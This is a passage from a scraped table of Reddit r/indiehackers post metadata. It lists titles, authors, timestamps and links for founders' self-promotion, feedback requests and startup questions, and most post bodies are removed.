unfinished,[removed],resynchronize,1,0,1781877985,/r/indiehackers/comments/1ua2yct/a_github_repo_can_have_good_code_and_still_feel/,https://www.reddit.com/r/indiehackers/comments/1ua2yct/a_github_repo_can_have_good_code_and_still_feel/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1ua2mlv,IndieHackers,Show IH: I built a tool that pays me to use Claude Code,[removed],Away_Information_435,1,0,1781877190,/r/indiehackers/comments/1ua2mlv/show_ih_i_built_a_tool_that_pays_me_to_use_claude/,https://i.redd.it/ye3mmkknv88h1.png,i.redd.it,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua2ki7,IndieHackers,I added 30 badges to my iOS arcade game and it changed how people play it,[removed],morant84,1,0,1781877045,/r/indiehackers/comments/1ua2ki7/i_added_30_badges_to_my_ios_arcade_game_and_it/,https://www.reddit.com/r/indiehackers/comments/1ua2ki7/i_added_30_badges_to_my_ios_arcade_game_and_it/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua2ioc,IndieHackers,Show IH: I built a tool that pays me for using Claude Code,[removed],Stefan2412,1,0,1781876917,/r/indiehackers/comments/1ua2ioc/show_ih_i_built_a_tool_that_pays_me_for_using/,https://www.reddit.com/gallery/1ua2ioc,reddit.com,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua2a7d,IndieHackers,I thought posting in more communities would help. Instead it mostly made my feedback loop worse.,[removed],Busy_Round4069,1,0,1781876327,/r/indiehackers/comments/1ua2a7d/i_thought_posting_in_more_communities_would_help/,https://www.reddit.com/r/indiehackers/comments/1ua2a7d/i_thought_posting_in_more_communities_would_help/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua29bq,IndieHackers,Most learning apps teach first. We’re trying the opposite.,[removed],[deleted],1,0,1781876263,/r/indiehackers/comments/1ua29bq/most_learning_apps_teach_first_were_trying_the/,,,False,1,False,Self Promotion,arctic-shift,1781885556 1ua1z6l,IndieHackers,"I have one form filling software, in the left there is an information that should be selected and typed without mistakes in the right side, there are 30 columns, 15 selecting,15 typing This software restricts the copy paste also Is there any method to automate or enabling the copy paste?",,sruj__56,1,0,1781875552,/r/indiehackers/comments/1ua1z6l/i_have_one_form_filling_software_in_the_left/,/r/PowerAutomate/comments/1ua1ybm/i_have_one_form_filling_software_in_the_left/,,False,1,False,Hiring (Paid Project),arctic-shift,1781885556 1ua179m,IndieHackers,"J'ai construit un outil de calculateur RH gratuit (Calcento) pour simplifier la paie + les calculs au travail, j'aimerais avoir des retours",,ghiranahada,1,0,1781873561,/r/indiehackers/comments/1ua179m/jai_construit_un_outil_de_calculateur_rh_gratuit/,/r/AskVibecoders/comments/1u9zj4w/i_built_a_free_hr_calculator_tool_calcento_to/,,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua15v0,IndieHackers,J'ai créé un toolkit LinkedIn gratuit pour formater des posts + des outils de recherche de recruteurs et j'aimerais avoir des retours de la part des vibecoders.,,ghiranahada,1,0,1781873456,/r/indiehackers/comments/1ua15v0/jai_créé_un_toolkit_linkedin_gratuit_pour/,/r/AskVibecoders/comments/1u9za5p/i_built_a_free_linkedin_toolkit_for_formatting/,,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua135g,IndieHackers,How do you handle customer feedback / feature request?,[removed],hope_to_be_in_US,1,0,1781873245,/r/indiehackers/comments/1ua135g/how_do_you_handle_customer_feedback_feature/,https://www.reddit.com/r/indiehackers/comments/1ua135g/how_do_you_handle_customer_feedback_feature/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1ua0jey,IndieHackers,I Built a Free Background Remover That Works Better Than Canva & Remove.bg,[removed],shubhamsahu20,1,0,1781871685,/r/indiehackers/comments/1ua0jey/i_built_a_free_background_remover_that_works/,https://www.reddit.com/r/indiehackers/comments/1ua0jey/i_built_a_free_background_remover_that_works/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1ua0i7y,IndieHackers,I Built a Free Background Remover That Works Better Than Canva & Remove.bg,[removed],shubh_aiartist,1,0,1781871586,/r/indiehackers/comments/1ua0i7y/i_built_a_free_background_remover_that_works/,https://www.reddit.com/r/indiehackers/comments/1ua0i7y/i_built_a_free_background_remover_that_works/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1ua0ait,IndieHackers,I built an AI detector in Swift that gives users a signed receipt proving what got flagged,[removed],truthsignals,1,0,1781870995,/r/indiehackers/comments/1ua0ait/i_built_an_ai_detector_in_swift_that_gives_users/,https://www.reddit.com/r/indiehackers/comments/1ua0ait/i_built_an_ai_detector_in_swift_that_gives_users/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1ua073v,IndieHackers,"As a dev, I finally embraced my failed side-projects. Built a small site to archive them.",[removed],Unfair_Procedure_193,1,0,1781870718,/r/indiehackers/comments/1ua073v/as_a_dev_i_finally_embraced_my_failed/,https://www.reddit.com/r/indiehackers/comments/1ua073v/as_a_dev_i_finally_embraced_my_failed/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9zvrq,IndieHackers,How to deal with the shiny object syndrom?,[removed],Ok_Jellyfish_8366,1,0,1781869832,/r/indiehackers/comments/1u9zvrq/how_to_deal_with_the_shiny_object_syndrom/,https://www.reddit.com/r/indiehackers/comments/1u9zvrq/how_to_deal_with_the_shiny_object_syndrom/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9zd6y,IndieHackers,You can build the thing. That was never the problem.,[removed],khalilliouane,1,0,1781868248,/r/indiehackers/comments/1u9zd6y/you_can_build_the_thing_that_was_never_the_problem/,https://www.reddit.com/r/indiehackers/comments/1u9zd6y/you_can_build_the_thing_that_was_never_the_problem/,self.indiehackers,True,1,False,Technical Question,arctic-shift,1781885556 1u9z3aw,IndieHackers,"""I have this problem, so others must too."" Built two tools on that one assumption, got crickets.",[removed],Educational_Wind8701,1,0,1781867415,/r/indiehackers/comments/1u9z3aw/i_have_this_problem_so_others_must_too_built_two/,https://www.reddit.com/r/indiehackers/comments/1u9z3aw/i_have_this_problem_so_others_must_too_built_two/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9z2xp,IndieHackers,I chose a $2.99 one-time purchase instead of a subscription. Was that a mistake?,[removed],maskedsyntax,1,0,1781867380,/r/indiehackers/comments/1u9z2xp/i_chose_a_299_onetime_purchase_instead_of_a/,https://www.reddit.com/gallery/1u9z2xp,reddit.com,False,1,False,Self Promotion,arctic-shift,1781885556 1u9yr7f,IndieHackers,I posted on 200 directories and turned it into a living curated list anyone can use,"I believe in submitting to directories, like Producthun Peerlist etc., both for the traffic they deliver and for the SEO and GEO benefits. But it's a grind. There are a lot of directories out there, and many turn out to be pretty useless while others are great. So over time I kept an Excel sheet tracking which ones I actually liked. Eventually I thought it to be usefull for others as well and I turned it into an app, a living curated list for other people to use as well. Launching on directories has started pay off for me. I got direct traffic from the directories themselves, but the biggest win however is the jump in Domain Rating, which is now driving organic traffic from Google. My expectation is that this will only compound as Google ranking is a marathon and takes months to pick up. The hard part of this list is the upkeep though. Some directories flip from free to paid overnight, others just randomly stop working. So I keep the list maintained as that happens. I also added community features and opened it up to other people, which has been very cool. Seeing people rate and comment on directories means the list keeps itself more and more, instead of being just my opinion only. Posting here because I genuinely think it can be useful, and I'd love more people getting actively involved with it. It's free to start with. Full access is a one-time payment, since the upkeep takes a lot of ongoing work and also convex costs, but no subscription. One thing I'm wrestling with atm is this one-time payment. Server costs increase with every new user and they're starting to add up. Would you keep it one-time, or is this the kind of tool you'd actually pay a subscription for? Curious how other builders think about this. If you want to check it out head over to[ www.launchpanda.dev](http://www.launchpanda.dev) ",BatsAapje,1,0,1781866307,/r/indiehackers/comments/1u9yr7f/i_posted_on_200_directories_and_turned_it_into_a/,https://www.reddit.com/r/indiehackers/comments/1u9yr7f/i_posted_on_200_directories_and_turned_it_into_a/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9xwoa,IndieHackers,"API creators: what's harder, building the API or monetizing it?",[removed],Due-Body5958,1,0,1781863433,/r/indiehackers/comments/1u9xwoa/api_creators_whats_harder_building_the_api_or/,https://www.reddit.com/r/indiehackers/comments/1u9xwoa/api_creators_whats_harder_building_the_api_or/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9xjyd,IndieHackers,Looking for advertisers for Adkar - A way for Indian Developers to monetize their devtools,[removed],TWRotdu,1,0,1781862218,/r/indiehackers/comments/1u9xjyd/looking_for_advertisers_for_adkar_a_way_for/,https://www.reddit.com/r/indiehackers/comments/1u9xjyd/looking_for_advertisers_for_adkar_a_way_for/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9x7ge,IndieHackers,Starting My Entrepreneurial Journey at 22. Need advice on how to get Started?,[removed],Rude-Meet6794,1,0,1781860981,/r/indiehackers/comments/1u9x7ge/starting_my_entrepreneurial_journey_at_22_need/,https://www.reddit.com/r/indiehackers/comments/1u9x7ge/starting_my_entrepreneurial_journey_at_22_need/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9x695,IndieHackers,I'm 22 and Starting My Entrepreneurship Journey. What Should I Focus On?,[removed],[deleted],1,0,1781860852,/r/indiehackers/comments/1u9x695/im_22_and_starting_my_entrepreneurship_journey/,,,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9x2tp,IndieHackers,SHOW IH: I built a website tester that acts like a real user instead of another SEO checker,[removed],confidentqa,1,0,1781860519,/r/indiehackers/comments/1u9x2tp/show_ih_i_built_a_website_tester_that_acts_like_a/,https://www.reddit.com/r/indiehackers/comments/1u9x2tp/show_ih_i_built_a_website_tester_that_acts_like_a/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9x25c,IndieHackers,"If Oil Owned the Cars, AI Owns the Ideas",[removed],rockviber,1,0,1781860449,/r/indiehackers/comments/1u9x25c/if_oil_owned_the_cars_ai_owns_the_ideas/,https://www.reddit.com/r/indiehackers/comments/1u9x25c/if_oil_owned_the_cars_ai_owns_the_ideas/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9wy61,IndieHackers,"Are startup conferences actually useful, or is it mostly founder cosplay?","I used to be pretty skeptical about startup conferences. Not because they are useless, but because it is very easy to spend 2 days “networking” and come back with 14 LinkedIn connections, 3 vague intros, a tote bag, and zero users. Recently we had two different experiences with Causo. We were official partners for Techstars Startup Weekend Valencia, which was directly useful. We got to speak with early-stage founders, understand what they are struggling with, and bring some new users into Causo. Then we went to a Vercel event. That one was not really about user acquisition, but it was still useful in a different way: seeing what people are building, learning from other founders, and meeting a couple of VC people. So my current take is that conferences can be useful, but only if you are honest about why you are going. If you want users, go where your users actually are and have a clear reason to talk to them. If you want investors, partners, or ecosystem connections, bigger events can help, but the ROI is much harder to measure. If you are just going because “founders should network,” it can quickly become expensive coffee with name tags. Curious how others think about this. Have conferences/events actually helped you get users, investors, partners, or useful feedback? Or is it mostly founder cosplay with better coffee?",Strong-Yesterday-183,1,0,1781860056,/r/indiehackers/comments/1u9wy61/are_startup_conferences_actually_useful_or_is_it/,https://www.reddit.com/r/indiehackers/comments/1u9wy61/are_startup_conferences_actually_useful_or_is_it/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9wxdf,IndieHackers,Want to see demand for your SaaS before building?,[removed],TraditionalHistory46,1,0,1781859971,/r/indiehackers/comments/1u9wxdf/want_to_see_demand_for_your_saas_before_building/,https://i.redd.it/jath7kxig78h1.jpeg,i.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9wgad,IndieHackers,"Made a 100% free tool: answer a few questions, get matched to the right design studio automatically",,theFabianArbor,1,0,1781858220,/r/indiehackers/comments/1u9wgad/made_a_100_free_tool_answer_a_few_questions_get/,/r/SideProject/comments/1u9wfvo/made_a_free_tool_answer_a_few_questions_get/,,False,1,False,Self Promotion,arctic-shift,1781885556 1u9wch0,IndieHackers,I built a USB Windows PC diagnostic tool for repair technicians,[removed],Uresh_Fonseka,1,0,1781857835,/r/indiehackers/comments/1u9wch0/i_built_a_usb_windows_pc_diagnostic_tool_for/,https://www.reddit.com/r/indiehackers/comments/1u9wch0/i_built_a_usb_windows_pc_diagnostic_tool_for/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9w9jf,IndieHackers,launching in 7 days and stuck on getting first 10 paying users,[removed],utsavjainn,1,0,1781857540,/r/indiehackers/comments/1u9w9jf/launching_in_7_days_and_stuck_on_getting_first_10/,https://www.reddit.com/r/indiehackers/comments/1u9w9jf/launching_in_7_days_and_stuck_on_getting_first_10/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9w62i,IndieHackers,Friday Share Fever 🕺 Let’s share your project!,"I’ll start. Mine is Beatable, a tool that helps founders get ready for investors: [https://beatable.co](https://beatable.co) What about you?",diodo-e,1,0,1781857183,/r/indiehackers/comments/1u9w62i/friday_share_fever_lets_share_your_project/,https://www.reddit.com/r/indiehackers/comments/1u9w62i/friday_share_fever_lets_share_your_project/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9w0s7,IndieHackers,The biggest surprise from talking to founders wasn't what I expected,[removed],Royal_Ad_3517,1,0,1781856654,/r/indiehackers/comments/1u9w0s7/the_biggest_surprise_from_talking_to_founders/,https://www.reddit.com/r/indiehackers/comments/1u9w0s7/the_biggest_surprise_from_talking_to_founders/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9vsb9,IndieHackers,Vibe-Coded ResearchSpace to fix our Scattered Web Discoveries collections into Curated Knowledge Shelves,[removed],ssagarwal8,1,0,1781855795,/r/indiehackers/comments/1u9vsb9/vibecoded_researchspace_to_fix_our_scattered_web/,https://v.redd.it/45213vxy378h1,v.redd.it,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9vs8k,IndieHackers,Guideg - User Manual,[removed],Haunting-Leader8055,1,0,1781855787,/r/indiehackers/comments/1u9vs8k/guideg_user_manual/,https://www.reddit.com/r/indiehackers/comments/1u9vs8k/guideg_user_manual/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9vlys,IndieHackers,I built an AI that tells founders what to do next,[removed],Royal_Ad_3517,1,0,1781855154,/r/indiehackers/comments/1u9vlys/i_built_an_ai_that_tells_founders_what_to_do_next/,https://www.reddit.com/r/indiehackers/comments/1u9vlys/i_built_an_ai_that_tells_founders_what_to_do_next/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9v50b,IndieHackers,Spent 6 months waiting on engineering to build internal tooling.,[removed],FoundationDowntown72,1,0,1781853417,/r/indiehackers/comments/1u9v50b/spent_6_months_waiting_on_engineering_to_build/,https://www.reddit.com/r/indiehackers/comments/1u9v50b/spent_6_months_waiting_on_engineering_to_build/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9ujz9,IndieHackers,Developer,[removed],Partho_Bosu,1,0,1781851396,/r/indiehackers/comments/1u9ujz9/developer/,https://www.reddit.com/r/indiehackers/comments/1u9ujz9/developer/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9u7lx,IndieHackers,Thinking of building an 'AI visibility tracker' — tell me if this is dumb,[removed],Ram_1413,1,0,1781850222,/r/indiehackers/comments/1u9u7lx/thinking_of_building_an_ai_visibility_tracker/,https://www.reddit.com/r/indiehackers/comments/1u9u7lx/thinking_of_building_an_ai_visibility_tracker/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9tn32,IndieHackers,Built a simple GPA/CGPA calculator & converter - just upload your marksheet and it'll calculate everything for you :),[removed],daisuki699,1,0,1781848303,/r/indiehackers/comments/1u9tn32/built_a_simple_gpacgpa_calculator_converter_just/,https://www.reddit.com/gallery/1u9tn32,reddit.com,False,1,False,Self Promotion,arctic-shift,1781885556 1u9srq7,IndieHackers,I scraped 387 Starter Story interviews for 53 cents to find which founder advice is actually repeatable. Here's the 16 patterns that showed up 3+ times.,[removed],_raakesh,1,0,1781845481,/r/indiehackers/comments/1u9srq7/i_scraped_387_starter_story_interviews_for_53/,https://www.reddit.com/r/indiehackers/comments/1u9srq7/i_scraped_387_starter_story_interviews_for_53/,self.indiehackers,True,1,False,Knowledge post,arctic-shift,1781885556 1u9rndb,IndieHackers,Am I getting my UX or my messaging wrong? I am not sure.,[removed],siddharthverse,1,0,1781841971,/r/indiehackers/comments/1u9rndb/am_i_getting_my_ux_or_my_messaging_wrong_i_am_not/,https://www.reddit.com/r/indiehackers/comments/1u9rndb/am_i_getting_my_ux_or_my_messaging_wrong_i_am_not/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9r8y5,IndieHackers,INTRO & OPEN FOR WORK: Web Branding | Sales & Retention | Social Media & SEO,[removed],RollandTech,1,0,1781840763,/r/indiehackers/comments/1u9r8y5/intro_open_for_work_web_branding_sales_retention/,https://www.reddit.com/r/indiehackers/comments/1u9r8y5/intro_open_for_work_web_branding_sales_retention/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9qfhl,IndieHackers,Built a simple game for world cup 2026 but struggling for marketing,[removed],Alternative-Land-555,1,0,1781838283,/r/indiehackers/comments/1u9qfhl/built_a_simple_game_for_world_cup_2026_but/,https://www.reddit.com/r/indiehackers/comments/1u9qfhl/built_a_simple_game_for_world_cup_2026_but/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9pp3q,IndieHackers,All Day I Dream About Sports?,[removed],Yellow-Minion-0,1,0,1781836163,/r/indiehackers/comments/1u9pp3q/all_day_i_dream_about_sports/,https://v.redd.it/0rexg29kh58h1,v.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9pclk,IndieHackers,Insomniac builds a sleep app,[removed],Solid_Reason399,1,0,1781835153,/r/indiehackers/comments/1u9pclk/insomniac_builds_a_sleep_app/,https://www.reddit.com/r/indiehackers/comments/1u9pclk/insomniac_builds_a_sleep_app/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9oyc6,IndieHackers,"I built a private, AES-256 encrypted ""TreeHole"" for mental health journaling. Looking for feedback on the UX.",[removed],Puzzleheaded-Entry62,1,0,1781834011,/r/indiehackers/comments/1u9oyc6/i_built_a_private_aes256_encrypted_treehole_for/,https://www.reddit.com/r/indiehackers/comments/1u9oyc6/i_built_a_private_aes256_encrypted_treehole_for/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9ny0z,IndieHackers,Built a Codex-first tldraw MCP after the live canvas path kept timing out,[removed],jrabbitxo,1,0,1781831054,/r/indiehackers/comments/1u9ny0z/built_a_codexfirst_tldraw_mcp_after_the_live/,https://i.redd.it/zb53v6qf258h1.gif,i.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9nu49,IndieHackers,I built a Codex-first tldraw MCP because the “proper” interactive canvas path kept timing out,[removed],jrabbitxo,1,0,1781830757,/r/indiehackers/comments/1u9nu49/i_built_a_codexfirst_tldraw_mcp_because_the/,https://i.redd.it/jlza66ym158h1.gif,i.redd.it,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9nmi1,IndieHackers,"For health or fitness apps, would you build wearable integrations yourself or use an API aggregator?",[removed],Capital-Wind-8003,1,0,1781830150,/r/indiehackers/comments/1u9nmi1/for_health_or_fitness_apps_would_you_build/,https://www.reddit.com/r/indiehackers/comments/1u9nmi1/for_health_or_fitness_apps_would_you_build/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9nk0x,IndieHackers,30 Day Nervous System Reset Challenge,[removed],[deleted],1,0,1781829951,/r/indiehackers/comments/1u9nk0x/30_day_nervous_system_reset_challenge/,,,False,1,False,Self Promotion,arctic-shift,1781885556 1u9n9ru,IndieHackers,"What SaaS idea do you have in your notes, that you haven’t yet built out?",[removed],El_Chapoh,1,0,1781829131,/r/indiehackers/comments/1u9n9ru/what_saas_idea_do_you_have_in_your_notes_that_you/,https://www.reddit.com/r/indiehackers/comments/1u9n9ru/what_saas_idea_do_you_have_in_your_notes_that_you/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9lhvq,IndieHackers,My first SaaS,[removed],gsfq,1,0,1781824316,/r/indiehackers/comments/1u9lhvq/my_first_saas/,https://www.reddit.com/r/indiehackers/comments/1u9lhvq/my_first_saas/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9la7e,IndieHackers,"My first SaaS, I need feedback",[removed],gsfq,1,0,1781823762,/r/indiehackers/comments/1u9la7e/my_first_saas_i_need_feedback/,https://www.reddit.com/r/indiehackers/comments/1u9la7e/my_first_saas_i_need_feedback/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9l9li,IndieHackers,[FREE] I will to create a logo and brand identity for your SaaS /Startup for FREE!,[removed],[deleted],1,0,1781823718,/r/indiehackers/comments/1u9l9li/free_i_will_to_create_a_logo_and_brand_identity/,,,False,1,False,Self Promotion,arctic-shift,1781885556 1u9l1v6,IndieHackers,I built Faraway — anonymous pen-pal app where letters arrive based on real geographic distance,[removed],OutrageousBison6305,1,0,1781823175,/r/indiehackers/comments/1u9l1v6/i_built_faraway_anonymous_penpal_app_where/,https://www.reddit.com/r/indiehackers/comments/1u9l1v6/i_built_faraway_anonymous_penpal_app_where/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9kwk3,IndieHackers,I built a reputation platform for offline trading card sales - looking to see if it's actually useful,[removed],tenniscardcollective,1,0,1781822783,/r/indiehackers/comments/1u9kwk3/i_built_a_reputation_platform_for_offline_trading/,https://www.reddit.com/r/indiehackers/comments/1u9kwk3/i_built_a_reputation_platform_for_offline_trading/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9kiwk,IndieHackers,12 months of full-time work for my first $1. Please tell me someone was slower.,[removed],chefcourier,1,0,1781821807,/r/indiehackers/comments/1u9kiwk/12_months_of_fulltime_work_for_my_first_1_please/,https://www.reddit.com/r/indiehackers/comments/1u9kiwk/12_months_of_fulltime_work_for_my_first_1_please/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9k925,IndieHackers,Just launched my new app clover try it out 🙂🙂🙂🙂,[removed],Mysterious-Fun-419,1,0,1781821121,/r/indiehackers/comments/1u9k925/just_launched_my_new_app_clover_try_it_out/,https://www.reddit.com/r/indiehackers/comments/1u9k925/just_launched_my_new_app_clover_try_it_out/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9k6vh,IndieHackers,SHOW IH: Built a free Goodreads alternative from scratch – rateyourreads.com,,RateYourReads_app,1,0,1781820970,/r/indiehackers/comments/1u9k6vh/show_ih_built_a_free_goodreads_alternative_from/,https://www.reddit.com/r/indiehackers/comments/1u9k6vh/show_ih_built_a_free_goodreads_alternative_from/,self.indiehackers,True,0.99,False,Self Promotion,arctic-shift,1781885556 1u9jtjk,IndieHackers,We launched a one-screen cross-chain swap — first real swaps are landing,[removed],Sabbke_Kiare,1,0,1781820046,/r/indiehackers/comments/1u9jtjk/we_launched_a_onescreen_crosschain_swap_first/,https://www.reddit.com/r/indiehackers/comments/1u9jtjk/we_launched_a_onescreen_crosschain_swap_first/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9jskd,IndieHackers,small side project: Gym Leveling,[removed],Less_Positive,1,0,1781819983,/r/indiehackers/comments/1u9jskd/small_side_project_gym_leveling/,https://www.reddit.com/r/indiehackers/comments/1u9jskd/small_side_project_gym_leveling/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9javz,IndieHackers,"""Show IH Flare: I built StackMind — a second brain for developers because I was tired of switching between 10 tabs while coding.""",[removed],TeaSerious1557,1,0,1781818794,/r/indiehackers/comments/1u9javz/show_ih_flare_i_built_stackmind_a_second_brain/,https://www.reddit.com/r/indiehackers/comments/1u9javz/show_ih_flare_i_built_stackmind_a_second_brain/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9ius4,IndieHackers,Built a platform that turns donations into funded challenges for streamers: looking for feedback,,Illustrious-Sleep744,1,0,1781817730,/r/indiehackers/comments/1u9ius4/built_a_platform_that_turns_donations_into_funded/,/r/SideProject/comments/1u9i9s9/built_a_platform_that_turns_donations_into_funded/,,False,1,False,Self Promotion,arctic-shift,1781885556 1u9ir36,IndieHackers,12 months of full-time work for my first $1. Please tell me someone was slower.,[removed],chefcourier,1,0,1781817486,/r/indiehackers/comments/1u9ir36/12_months_of_fulltime_work_for_my_first_1_please/,https://www.reddit.com/r/indiehackers/comments/1u9ir36/12_months_of_fulltime_work_for_my_first_1_please/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9ihbv,IndieHackers,Built a Free Chrome Extension to make investing easy! - Looking for feedback,[removed],Frequent-Row-2543,1,0,1781816856,/r/indiehackers/comments/1u9ihbv/built_a_free_chrome_extension_to_make_investing/,https://chromewebstore.google.com/detail/djfnfedikihbjgcbjhokiimbbbcgnhej?utm_source=item-share-cb,chromewebstore.google.com,False,1,False,Self Promotion,arctic-shift,1781885556 1u9ig17,IndieHackers,I built a debugging arena where devs compete to fix bugs – ask me anything,[removed],barcode_04,1,0,1781816771,/r/indiehackers/comments/1u9ig17/i_built_a_debugging_arena_where_devs_compete_to/,https://www.reddit.com/r/indiehackers/comments/1u9ig17/i_built_a_debugging_arena_where_devs_compete_to/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9iby1,IndieHackers,US earnings site,[removed],Alert_Anxiety2976,1,0,1781816500,/r/indiehackers/comments/1u9iby1/us_earnings_site/,https://www.reddit.com/r/indiehackers/comments/1u9iby1/us_earnings_site/,self.indiehackers,True,1,False,General Question,arctic-shift,1781885556 1u9i5rg,IndieHackers,I built a debugging arena where devs compete to fix bugs – ask me anything,[removed],barcode_04,1,0,1781816113,/r/indiehackers/comments/1u9i5rg/i_built_a_debugging_arena_where_devs_compete_to/,https://www.reddit.com/r/indiehackers/comments/1u9i5rg/i_built_a_debugging_arena_where_devs_compete_to/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9i1zj,IndieHackers,Anyone attending World Summit AI Amsterdam 2026? Is it actually worth the time and money?,,RepairOld9423,1,0,1781815871,/r/indiehackers/comments/1u9i1zj/anyone_attending_world_summit_ai_amsterdam_2026/,/r/IndiaTech/comments/1u945sx/anyone_attending_world_summit_ai_amsterdam_2026/,,False,1,False,General Question,arctic-shift,1781885556 1u9i0zx,IndieHackers,"I built a deterministic, multi‑objective build engine that scans, optimises, and compacts source code",[removed],Healthy-Man-8462,1,0,1781815806,/r/indiehackers/comments/1u9i0zx/i_built_a_deterministic_multiobjective_build/,https://www.reddit.com/r/indiehackers/comments/1u9i0zx/i_built_a_deterministic_multiobjective_build/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9i0im,IndieHackers,Free scraping credits in exchange for feedback (YC S26),[removed],mynameisyahiabakour,1,0,1781815774,/r/indiehackers/comments/1u9i0im/free_scraping_credits_in_exchange_for_feedback_yc/,https://www.reddit.com/r/indiehackers/comments/1u9i0im/free_scraping_credits_in_exchange_for_feedback_yc/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9hrgl,IndieHackers,Built an AI Resume Roaster. Got 150+ users in 20 days. Here's what I learned.,[removed],RepairRemarkable3022,1,0,1781815198,/r/indiehackers/comments/1u9hrgl/built_an_ai_resume_roaster_got_150_users_in_20/,https://www.reddit.com/r/indiehackers/comments/1u9hrgl/built_an_ai_resume_roaster_got_150_users_in_20/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9hoo8,IndieHackers,"Started building a screen time app that doesn't block apps, it reminds you what scrolling costs you in the moments you actually care about.",[removed],lucilius_my_friend,1,0,1781815014,/r/indiehackers/comments/1u9hoo8/started_building_a_screen_time_app_that_doesnt/,https://www.reddit.com/r/indiehackers/comments/1u9hoo8/started_building_a_screen_time_app_that_doesnt/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9hjao,IndieHackers,I've built my first Shopify app and looking for some stores to try it and provide feedback/reviews,[removed],LF_Digital,1,0,1781814671,/r/indiehackers/comments/1u9hjao/ive_built_my_first_shopify_app_and_looking_for/,https://www.reddit.com/r/indiehackers/comments/1u9hjao/ive_built_my_first_shopify_app_and_looking_for/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9hite,IndieHackers,I built a meta-harness as a server for multi-client agency work. (Open Source),[removed],z3thon,1,0,1781814639,/r/indiehackers/comments/1u9hite/i_built_a_metaharness_as_a_server_for_multiclient/,https://www.reddit.com/r/indiehackers/comments/1u9hite/i_built_a_metaharness_as_a_server_for_multiclient/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1u9hgva,IndieHackers,I built a meta-harness as a server for multi-client agency work. (free tool),,z3thon,1,0,1781814520,/r/indiehackers/comments/1u9hgva/i_built_a_metaharness_as_a_server_for_multiclient/,https://i.redd.it/9nkqg22dp38h1.png,i.redd.it,False,1,False,Self Promotion,arctic-shift,1781885556 1u9heoo,IndieHackers,I built a meta-harness as a server for multi-client agency work.,[removed],z3thon,1,0,1781814384,/r/indiehackers/comments/1u9heoo/i_built_a_metaharness_as_a_server_for_multiclient/,https://www.reddit.com/r/indiehackers/comments/1u9heoo/i_built_a_metaharness_as_a_server_for_multiclient/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1u9hb75,IndieHackers,Overspending on new 